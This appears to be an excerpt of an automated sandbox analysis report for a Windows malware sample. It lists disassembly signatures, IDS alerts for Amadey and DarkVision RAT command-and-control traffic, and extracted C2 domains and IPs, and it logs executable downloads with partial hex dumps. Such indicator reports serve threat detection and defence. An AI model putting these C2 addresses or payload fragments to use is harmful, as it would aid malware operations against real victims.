Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 4x nop then movzx edx, word ptr [eax]	17_2_0041094F
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 4x nop then mov byte ptr [ecx], al	17_2_0043892B
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 4x nop then mov byte ptr [ebx], al	17_2_0043892B
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+34A9C9D8h]	17_2_0040D9E0
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 4x nop then movzx eax, byte ptr [esp+edx+4Ch]	17_2_0040F200
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+343E7F64h]	17_2_0042F3D0
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], 5F115B3Dh	17_2_0044E390
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx-6B78D99Eh]	17_2_004374BA
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 4x nop then cmp dword ptr [edx+ecx*8], A18B8074h	17_2_00412CBC
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+73E85C6Ah]	17_2_0044EE50
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-32C32B10h]	17_2_00444F20
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 4x nop then cmp word ptr [edi+ebx], 0000h	17_2_0044D730
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 4x nop then movzx ecx, byte ptr [ebx+eax-4Ah]	17_2_00412FAF
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 4x nop then movzx esi, byte ptr [esp+eax+1FFE9D90h]	17_2_00449000
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 4x nop then jmp eax	17_2_0042C820
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 4x nop then cmp dword ptr [ebx+esi*8], 744E5843h	17_2_004490C0
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+1FFE9D9Ch]	17_2_004490C0
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 4x nop then mov byte ptr [edi], cl	17_2_004360D3
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 4x nop then movzx eax, byte ptr [esp+edx+4Ch]	17_2_0040F8D9
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-28EB41BAh]	17_2_004300E1
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 93A82FD1h	17_2_0043309C
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+558B175Ah]	17_2_0042F960
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 4x nop then add eax, dword ptr [esp+ecx*4+24h]	17_2_0040A1F0
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 4x nop then movzx ecx, word ptr [edi+esi*4]	17_2_0040A1F0
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 4x nop then movzx ecx, byte ptr [esi+eax+1FFE9D9Ch]	17_2_0041C1F0
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 4x nop then movzx ebx, byte ptr [esp+ebp+02h]	17_2_004291A0
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 4x nop then movzx ecx, byte ptr [esi+eax+1FFE9D9Ch]	17_2_0041B9A7
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 4x nop then mov byte ptr [ebx], cl	17_2_004359B3
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+10h]	17_2_00421A20
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 4x nop then add ecx, eax	17_2_0042EA30
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 4x nop then movzx esi, byte ptr [esp+edx]	17_2_00444AE0
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 4x nop then movzx ecx, byte ptr [esi+eax+1FFE9D9Ch]	17_2_0041C2E8
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 4x nop then movzx eax, byte ptr [esp+edx]	17_2_00446AF9
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 4x nop then mov esi, dword ptr [esp+3Ch]	17_2_00434AB0
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 4x nop then mov dword ptr [esi+04h], edx	17_2_0041E2BE
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 4x nop then jmp eax	17_2_0042CB50
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 4x nop then mov byte ptr [ebx], al	17_2_00435B7F
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 4x nop then mov byte ptr [ecx], bl	17_2_004113C6
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+1FFE9D90h]	17_2_004493E0
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 4x nop then mov byte ptr [edx], al	17_2_00437B85
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 4x nop then mov byte ptr [esi], cl	17_2_00436389
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 4x nop then mov byte ptr [edi], cl	17_2_00436389
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	17_2_004423B0
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 4x nop then mov byte ptr [ebx], al	17_2_00435C04
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 93A82FD1h	17_2_00428C10
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 4x nop then mov byte ptr [ebx], al	17_2_00435B56
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax]	17_2_0042243F
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 4x nop then movzx esi, byte ptr [esp+eax-4FDD7520h]	17_2_004284D0
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 4x nop then cmp word ptr [edi+eax+02h], 0000h	17_2_004284D0
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 4x nop then mov word ptr [ebx], cx	17_2_004284D0
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 4x nop then mov byte ptr [esi], cl	17_2_004364FA
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 4x nop then mov byte ptr [edi], cl	17_2_004364FA
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 93A82FD1h	17_2_00430C93
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 4x nop then mov dword ptr [esi+04h], ecx	17_2_0041CC9C
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-260B3612h]	17_2_0040D4A0
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	17_2_004334A0
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 4x nop then mov byte ptr [esi], cl	17_2_004364A5
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 4x nop then mov byte ptr [edi], cl	17_2_004364A5
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 4x nop then movzx edi, byte ptr [esp+ecx-77161D9Ah]	17_2_0042CD41
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 4x nop then mov byte ptr [ecx], al	17_2_00437D7B
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 4x nop then mov byte ptr [esi], cl	17_2_00436509
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 4x nop then mov byte ptr [edi], cl	17_2_00436509
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 4x nop then jmp eax	17_2_0042CD30
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 4x nop then cmp dword ptr [edx+ecx*8], 743EDB10h	17_2_0044DD30
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+3Ch]	17_2_004325C0
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx-5CE8416Dh]	17_2_0040C5D0
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 4x nop then mov dword ptr [esi+04h], edx	17_2_0041E5D2
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 4x nop then movsx ecx, byte ptr [esi+eax]	17_2_0041A650
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 4x nop then movzx edi, byte ptr [esp+ecx-77161D9Ah]	17_2_0042DE29
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 4x nop then movzx eax, byte ptr [esp+ebp+2E02BCA2h]	17_2_00431681
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 4x nop then movzx ebx, byte ptr [ecx+esi]	17_2_00402760
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 4x nop then xor edx, edx	17_2_0040F775
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 4x nop then mov byte ptr [edi], al	17_2_00437F16
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 4x nop then movzx ecx, byte ptr [esi+eax+1FFE9D9Ch]	17_2_0041BFCF
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+73E85C6Ah]	17_2_0044EFD0
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 4x nop then movzx ecx, byte ptr [edi+eax-35750D96h]	17_2_0041D7FB
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 4x nop then cmp word ptr [ecx+eax+02h], 0000h	17_2_0041D7FB
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 4x nop then movsx ecx, byte ptr [ebp+edi+00h]	17_2_0044CF80
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], CA198B66h	17_2_00445FA0

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.6:61658 -> 176.113.115.6:80
Source: Network traffic	Suricata IDS: 2045618 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M1 : 192.168.2.6:61691 -> 82.29.67.160:443
Source: Network traffic	Suricata IDS: 2045618 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M1 : 192.168.2.6:61698 -> 82.29.67.160:443
Source: Network traffic	Suricata IDS: 2045618 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M1 : 192.168.2.6:61706 -> 82.29.67.160:443
Source: Network traffic	Suricata IDS: 2045618 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M1 : 192.168.2.6:61733 -> 82.29.67.160:443
Source: Network traffic	Suricata IDS: 2045618 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M1 : 192.168.2.6:61735 -> 82.29.67.160:443
Source: Network traffic	Suricata IDS: 2045618 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M1 : 192.168.2.6:61739 -> 82.29.67.160:443
Source: Network traffic	Suricata IDS: 2045618 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M1 : 192.168.2.6:61741 -> 82.29.67.160:443
Source: Network traffic	Suricata IDS: 2045618 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M1 : 192.168.2.6:61745 -> 82.29.67.160:443
Source: Network traffic	Suricata IDS: 2045618 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M1 : 192.168.2.6:61750 -> 82.29.67.160:443
Source: Network traffic	Suricata IDS: 2045618 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M1 : 192.168.2.6:61747 -> 82.29.67.160:443
Source: Network traffic	Suricata IDS: 2045618 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M1 : 192.168.2.6:61754 -> 82.29.67.160:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: citydisco.bet/gdJIS
Source: Malware configuration extractor	URLs: featureccus.shop/bdMAn
Source: Malware configuration extractor	URLs: mrodularmall.top/aNzS
Source: Malware configuration extractor	URLs: jowinjoinery.icu/bdWUa
Source: Malware configuration extractor	URLs: legenassedk.top/bdpWO
Source: Malware configuration extractor	URLs: htardwarehu.icu/Sbdsa
Source: Malware configuration extractor	URLs: cjlaspcorne.icu/DbIps
Source: Malware configuration extractor	URLs: bugildbett.top/bAuz
Source: Malware configuration extractor	IPs: 176.113.115.6
Source: Malware configuration extractor	IPs: 82.29.67.160

Source: global traffic

TCP traffic: 192.168.2.6:61651 -> 162.159.36.2:53

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 13 Mar 2025 07:08:10 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Wed, 12 Mar 2025 21:19:41 GMTETag: "1fda00-6302bc37b67d3"Accept-Ranges: bytesContent-Length: 2087424Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 32 34 d0 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 cc 04 00 00 ac 00 00 00 00 00 00 00 d0 49 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 4a 00 00 04 00 00 33 23 20 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 00 06 00 6b 00 00 00 00 f0 05 00 f0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 01 06 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 e0 05 00 00 10 00 00 00 e0 05 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 f0 01 00 00 00 f0 05 00 00 02 00 00 00 f0 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 00 06 00 00 02 00 00 00 f2 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 f0 29 00 00 10 06 00 00 02 00 00 00 f4 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6d 78 79 76 72 66 6b 71 00 c0 19 00 00 00 30 00 00 be 19 00 00 f6 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 70 76 61 69 6d 76 69 6d 00 10 00 00 00 c0 49 00 00 04 00 00 00 b4 1f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 d0 49 00 00 22 00 00 00 b8 1f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 13 Mar 2025 07:08:17 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Wed, 12 Mar 2025 13:21:57 GMTETag: "150e00-6302516f10fba"Accept-Ranges: bytesContent-Length: 1379840Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 b6 9b d0 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 9c 08 00 00 fe 00 00 00 00 00 00 82 e6 06 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 30 15 00 00 08 00 00 00 00 00 00 03 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 30 36 09 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 9e 09 00 40 45 00 00 00 a0 09 00 5c 43 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 fb 08 00 18 00 00 00 98 bf 08 00 c0 00 00 00 00 00 00 00 00 00 00 00 c0 37 09 00 54 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 d0 9a 08 00 00 10 00 00 00 9c 08 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 34 a0 00 00 00 b0 08 00 00 a2 00 00 00 a4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 5c 2c 00 00 00 60 09 00 00 16 00 00 00 46 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 6c 73 00 00 00 00 09 00 00 00 00 90 09 00 00 02 00 00 00 5c 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 5c 43 00 00 00 a0 09 00 00 44 00 00 00 5e 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 2e 62 73 73 00 00 00 00 00 94 05 00 00 f0 09 00 00 94 05 00 00 a2 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 73 73 00 00 00 00 00 94 05 00 00 90 0f 00 00 94 05 00 00 36 0f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 13 Mar 2025 07:08:23 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Tue, 11 Mar 2025 22:36:47 GMTETag: "14da00-63018b956a2b5"Accept-Ranges: bytesContent-Length: 1366528Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 b6 9b d0 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 9c 08 00 00 fe 00 00 00 00 00 00 82 e6 06 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 f0 14 00 00 08 00 00 00 00 00 00 03 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 30 36 09 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 9e 09 00 40 45 00 00 00 a0 09 00 5c 43 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 fb 08 00 18 00 00 00 98 bf 08 00 c0 00 00 00 00 00 00 00 00 00 00 00 c0 37 09 00 54 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 d0 9a 08 00 00 10 00 00 00 9c 08 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 34 a0 00 00 00 b0 08 00 00 a2 00 00 00 a4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 5c 2c 00 00 00 60 09 00 00 16 00 00 00 46 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 6c 73 00 00 00 00 09 00 00 00 00 90 09 00 00 02 00 00 00 5c 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 5c 43 00 00 00 a0 09 00 00 44 00 00 00 5e 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 2e 62 73 73 00 00 00 00 00 7a 05 00 00 f0 09 00 00 7a 05 00 00 a2 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 73 73 00 00 00 00 00 7a 05 00 00 70 0f 00 00 7a 05 00 00 1c 0f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.22.1Date: Thu, 13 Mar 2025 07:08:30 GMTContent-Type: application/octet-streamContent-Length: 1363456Last-Modified: Wed, 12 Mar 2025 07:35:33 GMTConnection: keep-aliveETag: "67d13945-14ce00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 a3 77 4c 67 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 0a 00 00 22 03 00 00 72 06 00 00 00 00 00 05 36 24 00 00 10 00 00 00 40 03 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 90 29 00 00 04 00 00 00 00 00 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 43 24 00 89 01 00 00 94 87 24 00 64 00 00 00 00 30 28 00 a4 57 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 2c 28 00 40 00 00 00 00 00 00 00 00 00 00 00 00 b0 14 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 a9 20 03 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 19 98 00 00 00 40 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 40 3f 04 